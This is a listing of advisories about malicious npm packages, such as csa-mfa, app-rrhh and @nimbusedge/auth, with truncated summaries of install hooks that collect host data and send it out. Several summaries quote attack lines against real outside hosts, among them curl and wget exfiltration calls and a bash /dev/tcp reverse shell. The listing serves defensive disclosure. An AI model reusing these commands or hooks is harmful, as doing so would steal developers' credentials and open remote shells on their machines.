2921 matches found
Malicious code in @traktis/core (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 45eb01f2eb09b73c0660d97e76d37ab8f7d62773cab9cdbdea65039a37dbb534 package.json declares preinstall and postinstall lifecycle scripts that run curl against http://tko.amgsec.com/depconf/traktis-core/ on every npm...
MAL-2026-16174 Malicious code in alkajsdfoiwqeusdflkjsdf (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9c1a2da5555fcd5b4350c7adf91acc2730d3afe436979553905ab3a28cd5877 Package declares a preinstall hook that runs index.js on npm install. The script collects hostname, username, homedir, DNS servers, cwd, and the full...
Malicious code in alkajsdfoiwqeusdflkjsdf (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c9c1a2da5555fcd5b4350c7adf91acc2730d3afe436979553905ab3a28cd5877 Package declares a preinstall hook that runs index.js on npm install. The script collects hostname, username, homedir, DNS servers, cwd, and the full...
MAL-2026-16176 Malicious code in fulfillment-cuprum-auth-widget (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 06df6767178d76043d26df04fcbe4e8de2f579d38e96f52a04346c04a6dda565 The package's preinstall script index.js runs automatically on npm install and collects host identifiers via os.hostname, os.userInfo, os.homedir, an...
Malicious code in csa-mfa (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 959d2728ff38a804033ca7e07235b3a14bce65bd0e948077ba148a53c6cccff9 package.json declares a preinstall script that runs wget against http://169.58.142.14:8080/ with query parameters populated by shell command...
MAL-2026-16175 Malicious code in csa-mfa (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 959d2728ff38a804033ca7e07235b3a14bce65bd0e948077ba148a53c6cccff9 package.json declares a preinstall script that runs wget against http://169.58.142.14:8080/ with query parameters populated by shell command...
MAL-2026-16153 Malicious code in web-main (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61680a5d53758bc9eb99b1cd2566e6e19139d09fee10a0096a5e72bb0953a5b2 package.json declares preinstall: node index.js, causing index.js to execute automatically on npm install. The script collects os.hostname, os.userIn...
Malicious code in web-main (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 61680a5d53758bc9eb99b1cd2566e6e19139d09fee10a0096a5e72bb0953a5b2 package.json declares preinstall: node index.js, causing index.js to execute automatically on npm install. The script collects os.hostname, os.userIn...
MAL-2026-16146 Malicious code in @aiwfm/communitywfm.scripts.api (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 405cd17e3c682b1341db44361500ea68d80e1758f15387d9971d0af95f0c8a48 The package's preinstall script build.js assembles a remote hostname from split string fragments that resolve to...
Malicious code in @aiwfm/communitywfm.scripts.api (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 405cd17e3c682b1341db44361500ea68d80e1758f15387d9971d0af95f0c8a48 The package's preinstall script build.js assembles a remote hostname from split string fragments that resolve to...
MAL-2026-16144 Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
Malicious code in app-rrhh (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...
Malicious code in cr-bot-common (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddd83408820ca65c51cea223a061260109332ba408ca3a43ba00ef827f1ad74f preinstall.js and postinstall.js execute automatically on npm install. preinstall.js reads.env files from the current and parent directories, walks t...
MAL-2026-16137 Malicious code in cr-bot-common (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector ddd83408820ca65c51cea223a061260109332ba408ca3a43ba00ef827f1ad74f preinstall.js and postinstall.js execute automatically on npm install. preinstall.js reads.env files from the current and parent directories, walks t...
Malicious code in tracker-cloudflare (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...
MAL-2026-16140 Malicious code in tracker-cloudflare (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 55b5bacf5779f1a1fa161ee38acbf61fda0dc18b3d0fe35213e2b0dc230c06e4 The package's preinstall hook runs node index.js, which collects host identifiers os.hostname, os.userInfo, homedir, DNS servers, cwd along with the...
MAL-2026-16132 Malicious code in @nimbusedge/auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...
Malicious code in @nimbusedge/auth (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector a1c515f5cb3bfa2c20dc4fa78c4be6865209e833016cd5804b94ba5f3d1d5885 package.json declares a preinstall lifecycle script that runs bash -i & /dev/tcp/147.93.157.202/8080 to open an interactive reverse shell to the...
MAL-2026-16117 Malicious code in etoro-cashout (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c8aa14d0b9945053b63f4396f09365c5daefec60a25e931f165b3473e7c564f1 The package's preinstall.js lifecycle script runs on npm install and executes host reconnaissance commands whoami, ipconfig/ip addr, directory listin...
Malicious code in etoro-cashout (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector c8aa14d0b9945053b63f4396f09365c5daefec60a25e931f165b3473e7c564f1 The package's preinstall.js lifecycle script runs on npm install and executes host reconnaissance commands whoami, ipconfig/ip addr, directory listin...